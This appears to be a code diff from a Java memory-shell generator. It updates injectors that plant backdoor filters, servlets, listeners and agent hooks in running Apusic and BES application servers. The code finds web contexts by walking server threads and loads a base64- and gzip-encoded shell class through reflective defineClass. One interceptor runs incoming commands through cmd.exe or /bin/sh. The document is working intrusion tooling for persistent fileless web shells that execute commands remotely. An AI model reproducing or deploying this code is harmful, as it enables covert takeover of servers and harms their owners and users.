||||
|
||||
+6
-3
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
@@ -26,9 +27,11 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||
|
||||
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(shellToolConfig.getShellClass())
|
||||
.field(named("paramName"))
|
||||
.value(shellToolConfig.getParamName());
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
|
||||
+2
-1
@@ -12,6 +12,7 @@ import java.io.InputStream;
|
||||
public class RuntimeExecInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -40,7 +40,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+93
-25
@@ -3,11 +3,13 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
@@ -17,17 +19,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ApusicFilterInjector {
|
||||
|
||||
public ApusicFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -41,6 +33,45 @@ public class ApusicFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ApusicFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* context: com.apusic.web.container.WebContainer
|
||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
||||
@@ -51,38 +82,56 @@ public class ApusicFilterInjector {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("HouseKeeper")) {
|
||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||
// Apusic 9.0 SPX
|
||||
Object sessionManager = getFieldValue(thread, "this$0");
|
||||
contexts.add(getFieldValue(sessionManager, "container"));
|
||||
} else if (thread.getName().contains("HTTPSession")) {
|
||||
// Apusic 9.0.1
|
||||
Object sessionManager = getFieldValue(thread, "this$0");
|
||||
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||
contexts.addAll(contextMap.values());
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
private Object getShell(Object context) throws Exception {
|
||||
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||
ClassLoader defineLoader;
|
||||
Object obj;
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
||||
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||
defineShell(loader);
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = loader;
|
||||
} catch (ClassNotFoundException e) {
|
||||
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||
defineShell(internalLoader);
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = internalLoader;
|
||||
}
|
||||
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||
return obj;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
Object webModule = getFieldValue(context, "webapp");
|
||||
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
// addFilterMapping
|
||||
@@ -100,7 +149,11 @@ public class ApusicFilterInjector {
|
||||
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
|
||||
Object filterMapper = getFieldValue(context, "filterMapper");
|
||||
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
|
||||
System.out.println("filter injected successful");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -155,7 +208,7 @@ public class ApusicFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -184,4 +237,19 @@ public class ApusicFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+94
-30
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
@@ -16,17 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ApusicListenerInjector {
|
||||
|
||||
public ApusicListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -40,52 +32,109 @@ public class ApusicListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ApusicListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("HouseKeeper")) {
|
||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||
// Apusic 9.0 SPX
|
||||
Object sessionManager = getFieldValue(thread, "this$0");
|
||||
contexts.add(getFieldValue(sessionManager, "container"));
|
||||
} else if (thread.getName().contains("HTTPSession")) {
|
||||
// Apusic 9.0.1
|
||||
Object sessionManager = getFieldValue(thread, "this$0");
|
||||
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||
contexts.addAll(contextMap.values());
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
private Object getShell(Object context) throws Exception {
|
||||
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||
ClassLoader defineLoader;
|
||||
Object obj;
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
||||
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||
defineShell(loader);
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = loader;
|
||||
} catch (ClassNotFoundException e) {
|
||||
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||
defineShell(internalLoader);
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = internalLoader;
|
||||
}
|
||||
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||
return obj;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
Object webModule = getFieldValue(context, "webapp");
|
||||
String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null);
|
||||
for (String name : listeners) {
|
||||
if (getClassName().equals(name)) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
|
||||
return;
|
||||
}
|
||||
|
||||
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(context, "loadListeners", null, null);
|
||||
System.out.println("listener injected successful");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -169,4 +218,19 @@ public class ApusicListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+92
-24
@@ -3,10 +3,12 @@ package com.reajason.javaweb.memshell.injector.apusic;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
@@ -16,17 +18,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class ApusicServletInjector {
|
||||
|
||||
public ApusicServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getShell(context);
|
||||
inject(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -40,36 +32,94 @@ public class ApusicServletInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public ApusicServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("HouseKeeper")) {
|
||||
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
|
||||
// Apusic 9.0 SPX
|
||||
Object sessionManager = getFieldValue(thread, "this$0");
|
||||
contexts.add(getFieldValue(sessionManager, "container"));
|
||||
} else if (thread.getName().contains("HTTPSession")) {
|
||||
// Apusic 9.0.1
|
||||
Object sessionManager = getFieldValue(thread, "this$0");
|
||||
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||
contexts.addAll(contextMap.values());
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
private Object getShell(Object context) throws Exception {
|
||||
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
|
||||
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
|
||||
ClassLoader defineLoader;
|
||||
Object obj;
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "loader"));
|
||||
// Apusic 9.0 SPX,优先从当前 loader 进行加载
|
||||
defineShell(loader);
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = loader;
|
||||
} catch (ClassNotFoundException e) {
|
||||
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
|
||||
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
|
||||
defineShell(internalLoader);
|
||||
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
|
||||
obj = loader.loadClass(getClassName()).newInstance();
|
||||
defineLoader = internalLoader;
|
||||
}
|
||||
msg += "[" + defineLoader.getClass().getName() + "] ";
|
||||
return obj;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
private void defineShell(ClassLoader classLoader) throws Exception {
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@@ -77,12 +127,15 @@ public class ApusicServletInjector {
|
||||
Object webModule = getFieldValue(context, "webapp");
|
||||
Object servletMapper = getFieldValue(context, "servletMapper");
|
||||
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("servlet already injected");
|
||||
return;
|
||||
}
|
||||
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
|
||||
System.out.println("servlet injected successful");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -166,4 +219,19 @@ public class ApusicServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -42,7 +42,6 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -61,6 +60,7 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -77,12 +77,8 @@ public class BesContextValveAgentInjector extends ClassLoader implements ClassFi
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+1
-1
@@ -40,7 +40,6 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -61,6 +60,7 @@ public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+66
-19
@@ -4,30 +4,18 @@ import javax.servlet.Filter;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class BesFilterInjector {
|
||||
Logger log = Logger.getLogger(BesFilterInjector.class.getName());
|
||||
|
||||
public BesFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -41,6 +29,45 @@ public class BesFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public BesFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.bes.enterprise.webtier.core.DefaultContext
|
||||
* /opt/bes/lib/bes-engine.jar
|
||||
@@ -73,22 +100,23 @@ public class BesFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
